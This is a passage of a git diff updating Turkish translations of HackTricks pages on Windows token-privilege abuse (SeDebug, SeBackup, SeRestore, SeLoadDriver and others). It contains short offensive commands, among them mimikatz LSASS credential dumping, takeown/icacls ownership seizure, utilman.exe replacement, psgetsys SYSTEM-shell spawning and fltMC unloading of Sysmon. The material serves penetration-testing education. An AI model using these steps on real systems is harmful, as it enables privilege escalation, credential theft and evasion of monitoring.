atamaya** izin verir. Ayrıcalıklı taklit token ile birincil bir token türetebilirsiniz (DuplicateTokenEx).\ -Bu token ile 'CreateProcessAsUser' ile **yeni bir süreç** oluşturabilir veya bir süreci askıya alabilir ve **tokenı ayarlayabilirsiniz** (genel olarak, çalışan bir sürecin birincil tokenını değiştiremezsiniz). +Bu, **SeImpersonatePrivilege** ile çok benzer olup, ayrıcalıklı bir token elde etmek için **aynı yöntemi** kullanır.\ +Daha sonra, bu ayrıcalık **yeni/askıya alınmış bir sürece** bir birincil token atamaya izin verir. Ayrıcalıklı taklit token ile bir birincil token türetebilirsiniz (DuplicateTokenEx).\ +Token ile, 'CreateProcessAsUser' ile **yeni bir süreç** oluşturabilir veya askıya alınmış bir süreç oluşturup **tokenı ayarlayabilirsiniz** (genel olarak, çalışan bir sürecin birincil tokenını değiştiremezsiniz). ### SeTcbPrivilege -Bu tokenı etkinleştirdiyseniz, **KERB_S4U_LOGON** kullanarak herhangi bir kullanıcı için **taklit token** alabilirsiniz, kimlik bilgilerini bilmeden, tokena **keyfi bir grup** (yönetici) ekleyebilir, tokenın **bütünlük seviyesini** "**orta**" olarak ayarlayabilir ve bu tokenı **mevcut iş parçacığına** atayabilirsiniz (SetThreadToken). +Bu token etkinleştirildiğinde, **KERB_S4U_LOGON** kullanarak herhangi bir kullanıcı için **taklit token** alabilirsiniz, kimlik bilgilerini bilmeden, tokena **keyfi bir grup** (yönetici) ekleyebilir, tokenın **bütünlük seviyesini** "**orta**" olarak ayarlayabilir ve bu tokenı **mevcut iş parçacığına** atayabilirsiniz (SetThreadToken). ### SeBackupPrivilege -Bu ayrıcalık, herhangi bir dosyaya (okuma işlemleriyle sınırlı) **tüm okuma erişim** kontrolü vermek için sistemin neden olduğu bir ayrıcalıktır. Yerel Yönetici hesaplarının şifre karma değerlerini kayıt defterinden **okumak** için kullanılır, ardından "**psexec**" veya "**wmiexec**" gibi araçlar hash ile kullanılabilir (Pass-the-Hash tekniği). Ancak, bu teknik iki koşul altında başarısız olur: Yerel Yönetici hesabı devre dışı bırakıldığında veya uzaktan bağlanan Yerel Yöneticilerden yönetim haklarını kaldıran bir politika uygulandığında.\ +Bu ayrıcalık, herhangi bir dosyaya (okuma işlemleri ile sınırlı) **tüm okuma erişim** kontrolü vermek için sistemin zorlanmasına neden olur. Bu, yerel Yönetici hesaplarının şifre karma değerlerini kayıt defterinden **okumak** için kullanılır; ardından, "**psexec**" veya "**wmiexec**" gibi araçlar hash ile kullanılabilir (Pass-the-Hash tekniği). Ancak, bu teknik iki koşul altında başarısız olur: Yerel Yönetici hesabı devre dışı bırakıldığında veya uzaktan bağlanan Yerel Yöneticilerden yönetim haklarını kaldıran bir politika uygulandığında.\ Bu ayrıcalığı **kötüye kullanabilirsiniz**: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) -- **IppSec**'i takip ederek [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) -- Veya aşağıdaki **Yedek Operatörlerle ayrıcalıkları yükseltme** bölümünde açıklandığı gibi: +- [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) **IppSec**'i takip ederek +- Veya aşağıdaki **Yedek Operatörleri ile ayrıcalıkları yükseltme** bölümünde açıklandığı gibi: {{#ref}} ../../active-directory-methodology/privileged-groups-and-token-privileges.md @@ -50,31 +50,31 @@ Bu ayrıcalığı **kötüye kullanabilirsiniz**: ### SeRestorePrivilege -Bu ayrıcalık, dosyanın Erişim Kontrol Listesi (ACL) ne olursa olsun, herhangi bir sistem dosyasına **yazma erişimi** izni verir. Hizmetleri **değiştirme**, DLL Hijacking yapma ve çeşitli diğer teknikler arasında Görüntü Dosyası Yürütme Seçenekleri aracılığıyla **hata ayıklayıcılar** ayarlama gibi birçok yükseltme olanağı sunar. +Bu ayrıcalık, dosyanın Erişim Kontrol Listesi (ACL) ne olursa olsun, herhangi bir sistem dosyasına **yazma erişimi** sağlar. Bu, **hizmetleri değiştirme**, DLL Hijacking yapma ve çeşitli diğer teknikler arasında Görüntü Dosyası Uygulama Seçenekleri aracılığıyla **hata ayıklayıcılar** ayarlama gibi birçok yükseltme olanağı sunar. ### SeCreateTokenPrivilege -SeCreateTokenPrivilege, özellikle bir kullanıcının tokenları taklit etme yeteneğine sahip olduğunda güçlü bir izindir, ancak SeImpersonatePrivilege yoksa da kullanışlıdır. Bu yetenek, aynı kullanıcıyı temsil eden ve bütünlük seviyesi mevcut sürecin seviyesini aşmayan bir tokenı taklit etme yeteneğine dayanır. +SeCreateTokenPrivilege, özellikle bir kullanıcının tokenları taklit etme yeteneğine sahip olduğunda, ancak SeImpersonatePrivilege yoksa faydalı olan güçlü bir izindir. Bu yetenek, aynı kullanıcıyı temsil eden ve bütünlük seviyesi mevcut sürecin seviyesini aşmayan bir tokenı taklit etme yeteneğine dayanır. **Ana Noktalar:** -- **SeImpersonatePrivilege olmadan taklit:** Belirli koşullar altında tokenları taklit ederek EoP için SeCreateTokenPrivilege'i kullanmak mümkündür. -- **Token Taklit Koşulları:** Başarılı taklit, hedef tokenın aynı kullanıcıya ait olmasını ve bütünlük seviyesinin taklit etmeye çalışan sürecin bütünlük seviyesinden daha düşük veya eşit olmasını gerektirir. +- **SeImpersonatePrivilege olmadan taklit:** Belirli koşullar altında tokenları taklit ederek SeCreateTokenPrivilege'i EoP için kullanmak mümkündür. +- **Token Taklit Koşulları:** Başarılı taklit, hedef tokenın aynı kullanıcıya ait olmasını ve bütünlük seviyesinin taklit etmeye çalışan sürecin bütünlük seviyesinden az veya eşit olmasını gerektirir. - **Taklit Tokenların Oluşturulması ve Değiştirilmesi:** Kullanıcılar bir taklit token oluşturabilir ve bunu ayrıcalıklı bir grubun SID'sini (Güvenlik Tanımlayıcısı) ekleyerek geliştirebilir. ### SeLoadDriverPrivilege Bu ayrıcalık, `ImagePath` ve `Type` için belirli değerlerle bir kayıt defteri girişi oluşturarak **cihaz sürücülerini yükleme ve boşaltma** izni verir. `HKLM` (HKEY_LOCAL_MACHINE) üzerinde doğrudan yazma erişimi kısıtlandığından, bunun yerine `HKCU` (HKEY_CURRENT_USER) kullanılmalıdır. Ancak, `HKCU`'nun sürücü yapılandırması için çekirdek tarafından tanınabilmesi için belirli bir yol izlenmelidir. -Bu yol `\Registry\User\\System\CurrentControlSet\Services\DriverName` şeklindedir, burada `` mevcut kullanıcının Göreli Tanımlayıcısıdır. `HKCU` içinde, bu tüm yol oluşturulmalı ve iki değer ayarlanmalıdır: +Bu yol `\Registry\User\\System\CurrentControlSet\Services\DriverName` şeklindedir; burada ``, mevcut kullanıcının Göreceli Tanımlayıcısıdır. `HKCU` içinde, bu tüm yol oluşturulmalı ve iki değer ayarlanmalıdır: -- `ImagePath`, yürütülecek ikilinin yolu -- `Type`, değeri `SERVICE_KERNEL_DRIVER` (`0x00000001`) olarak. +- `ImagePath`, yürütülecek ikili dosyanın yolu +- `Type`, değeri `SERVICE_KERNEL_DRIVER` (`0x00000001`) olan. **İzlenecek Adımlar:** 1. Kısıtlı yazma erişimi nedeniyle `HKLM` yerine `HKCU`'ya erişin. -2. `HKCU` içinde `\Registry\User\\System\CurrentControlSet\Services\DriverName` yolunu oluşturun, burada `` mevcut kullanıcının Göreli Tanımlayıcısını temsil eder. +2. `HKCU` içinde `\Registry\User\\System\CurrentControlSet\Services\DriverName` yolunu oluşturun; burada ``, mevcut kullanıcının Göreceli Tanımlayıcısını temsil eder. 3. `ImagePath`'ı ikilinin yürütme yoluna ayarlayın. 4. `Type`'ı `SERVICE_KERNEL_DRIVER` (`0x00000001`) olarak atayın. ```python @@ -92,7 +92,7 @@ Daha fazla bu ayrıcalığı kötüye kullanma yolu için [https://www.ired.team ### SeTakeOwnershipPrivilege -Bu, **SeRestorePrivilege** ile benzerdir. Temel işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, WRITE_OWNER erişim hakları sağlanarak açık takdir erişimi gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt defteri anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir. +Bu, **SeRestorePrivilege** ile benzerdir. Temel işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, WRITE_OWNER erişim hakları sağlanarak açık takdir erişimi gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir. ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -110,11 +110,11 @@ c:\inetpub\wwwwroot\web.config ``` ### SeDebugPrivilege -Bu ayrıcalık, **diğer süreçleri hata ayıklamayı** sağlar, buna bellek içinde okuma ve yazma da dahildir. Çoğu antivirüs ve host saldırı önleme çözümünü atlatabilen çeşitli bellek enjeksiyon stratejileri, bu ayrıcalıkla kullanılabilir. +Bu ayrıcalık, **diğer süreçleri hata ayıklamayı** sağlar, buna bellek içinde okuma ve yazma da dahildir. Bu ayrıcalık ile, çoğu antivirüs ve host saldırı önleme çözümlerini atlatabilen çeşitli bellek enjeksiyon stratejileri uygulanabilir. #### Belleği dökme -Bir sürecin **belleğini yakalamak için** [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) aracını [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) içinden kullanabilirsiniz. Özellikle, bir kullanıcının bir sisteme başarıyla giriş yaptıktan sonra kullanıcı kimlik bilgilerini saklamaktan sorumlu olan **Yerel Güvenlik Otoritesi Alt Sistemi Servisi ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** sürecine uygulanabilir. +**Bir sürecin belleğini yakalamak** için [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) veya [SharpDump](https://github.com/GhostPack/SharpDump) kullanabilirsiniz. Özellikle, bir kullanıcının bir sisteme başarıyla giriş yaptıktan sonra kullanıcı kimlik bilgilerini saklamaktan sorumlu olan **Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** sürecine uygulanabilir. Bu dökümü daha sonra şifreleri elde etmek için mimikatz'a yükleyebilirsiniz: ``` @@ -127,18 +127,18 @@ mimikatz # sekurlsa::logonpasswords Eğer bir `NT SYSTEM` shell almak istiyorsanız şunları kullanabilirsiniz: -- \***\*[**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)\*\*** -- \***\*[**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)\*\*** -- \***\*[**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)\*\*** -```powershell +- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) +- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) +- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) +```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` ### SeManageVolumePrivilege -`SeManageVolumePrivilege`, kullanıcıların disk hacimlerini yönetmelerine, bunları oluşturup silmelerine olanak tanıyan bir Windows kullanıcı hakkıdır. Yöneticiler için tasarlanmış olmasına rağmen, eğer bu hak yönetici olmayan kullanıcılara verilirse, ayrıcalık yükseltme için istismar edilebilir. +`SeManageVolumePrivilege`, disk hacimlerini yönetmek için kullanıcıların disk hacimlerini oluşturma ve silme gibi işlemleri yapmasına izin veren bir Windows kullanıcı hakkıdır. Yöneticiler için tasarlanmış olmasına rağmen, eğer bu hak yönetici olmayan kullanıcılara verilirse, ayrıcalık yükseltmek için istismar edilebilir. -Bu ayrıcalığı kullanarak hacimleri manipüle etmek ve tam hacim erişimi sağlamak mümkündür. [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit), C:\ için tüm kullanıcılara tam erişim vermek için kullanılabilir. +Bu ayrıcalığı kullanarak hacimleri manipüle etmek ve tam hacim erişimi sağlamak mümkündür. [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) kullanılarak C:\ için tüm kullanıcılara tam erişim verilebilir. Ayrıca, [bu Medium makalesinde](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) `SeManageVolumePrivilege` ile birlikte DLL hijacking kullanarak ayrıcalıkları yükseltme süreci açıklanmaktadır. Bir payload DLL `C:\Windows\System32\wbem\tzres.dll` yerleştirerek ve `systeminfo` çağrısı yaparak dll çalıştırılır. @@ -146,12 +146,12 @@ Ayrıca, [bu Medium makalesinde](https://medium.com/@raphaeltzy13/exploiting-sem ``` whoami /priv ``` -**Devre Dışı Görünen Tokenler** etkinleştirilebilir, aslında _Etkin_ ve _Devre Dışı_ tokenlerini istismar edebilirsiniz. +**Devre Dışı Görünen Token'lar** etkinleştirilebilir, aslında _Etkin_ ve _Devre Dışı_ token'ları kötüye kullanabilirsiniz. -### Tüm Tokenleri Etkinleştir +### Tüm Token'ları Etkinleştir -Eğer devre dışı tokenleriniz varsa, tüm tokenleri etkinleştirmek için [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) scriptini kullanabilirsiniz: -```powershell +Eğer devre dışı token'larınız varsa, tüm token'ları etkinleştirmek için [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) script'ini kullanabilirsiniz: +```bash .\EnableAllTokenPrivs.ps1 whoami /priv ``` @@ -164,10 +164,10 @@ Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](http | Privilege | Impact | Tool | Execution path | Remarks | | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"Bu, bir kullanıcının token'ları taklit etmesine ve potato.exe, rottenpotato.exe ve juicypotato.exe gibi araçlar kullanarak nt sistemine yükselmesine izin verecektir."_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. | -| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Hassas dosyaları `robocopy /b` ile okuyun |

- %WINDIR%\MEMORY.DMP dosyasını okuyabiliyorsanız daha ilginç olabilir.

- SeBackupPrivilege (ve robocopy) açık dosyalarla çalışırken yardımcı değildir.

- Robocopy, /b parametresi ile çalışmak için hem SeBackup hem de SeRestore gerektirir.

| +| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Hassas dosyaları `robocopy /b` ile okuyun |

- %WINDIR%\MEMORY.DMP dosyasını okuyabiliyorsanız daha ilginç olabilir.

- SeBackupPrivilege (ve robocopy) açık dosyalarla çalışırken yardımcı değildir.

- Robocopy, /b parametresi ile çalışmak için hem SeBackup hem de SeRestore'ye ihtiyaç duyar.

| | **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` ile yerel yönetici hakları da dahil olmak üzere keyfi bir token oluşturun. | | | **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` token'ını kopyalayın. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys gibi hatalı bir çekirdek sürücüsü yükleyin.
2. Sürücü zafiyetini istismar edin.

Alternatif olarak, bu ayrıcalık güvenlikle ilgili sürücüleri ftlMC yerleşik komutuyla boşaltmak için kullanılabilir. Yani: fltMC sysmondrv

|

1. szkg64 zafiyeti CVE-2018-15732 olarak listelenmiştir.
2. szkg64 istismar kodu Parvez Anwar tarafından oluşturulmuştur.

| +| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys gibi hatalı bir çekirdek sürücüsü yükleyin.
2. Sürücü zafiyetini istismar edin.

Alternatif olarak, bu ayrıcalık, ftlMC yerleşik komutunu kullanarak güvenlikle ilgili sürücüleri boşaltmak için kullanılabilir. Yani: fltMC sysmondrv

|

1. szkg64 zafiyeti CVE-2018-15732 olarak listelenmiştir.
2. szkg64 istismar kodu Parvez Anwar tarafından oluşturulmuştur.

| | **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. SeRestore ayrıcalığı ile PowerShell/ISE başlatın.
2. Enable-SeRestorePrivilege ile ayrıcalığı etkinleştirin.
3. utilman.exe'yi utilman.old olarak yeniden adlandırın.
4. cmd.exe'yi utilman.exe olarak yeniden adlandırın.
5. Konsolu kilitleyin ve Win+U tuşlarına basın.

|

Saldırı bazı AV yazılımları tarafından tespit edilebilir.

Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.

| | **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exe'yi utilman.exe olarak yeniden adlandırın.
4. Konsolu kilitleyin ve Win+U tuşlarına basın.

|

Saldırı bazı AV yazılımları tarafından tespit edilebilir.

Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.

| | **`SeTcb`** | _**Admin**_ | 3rd party tool |

Token'ları yerel yönetici hakları ile manipüle edin. SeImpersonate gerektirebilir.

Doğrulanması gerekiyor.

| | diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index bf9456e2c..8b767917b 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato Windows Server 2019 ve Windows 10 build 1809'dan itibaren çalışmıyor. Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** aynı ayrıcalıkları kullanmak ve `NT AUTHORITY\SYSTEM`\*\* düzeyinde erişim elde etmek için kullanılabilir. Bu [blog yazısı](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` aracını derinlemesine ele alıyor; bu araç, JuicyPotato'nun artık çalışmadığı Windows 10 ve Server 2019 host'larında taklit ayrıcalıklarını kötüye kullanmak için kullanılabilir. +> [!WARNING] > **JuicyPotato Windows Server 2019 ve Windows 10 build 1809'dan itibaren çalışmıyor. Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** aynı ayrıcalıkları kullanmak ve `NT AUTHORITY\SYSTEM`** düzeyinde erişim sağlamak için kullanılabilir. Bu [blog yazısı](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` aracını derinlemesine ele alıyor; bu araç, JuicyPotato'nun artık çalışmadığı Windows 10 ve Server 2019 host'larında taklit ayrıcalıklarını kötüye kullanmak için kullanılabilir. ## Hızlı Demo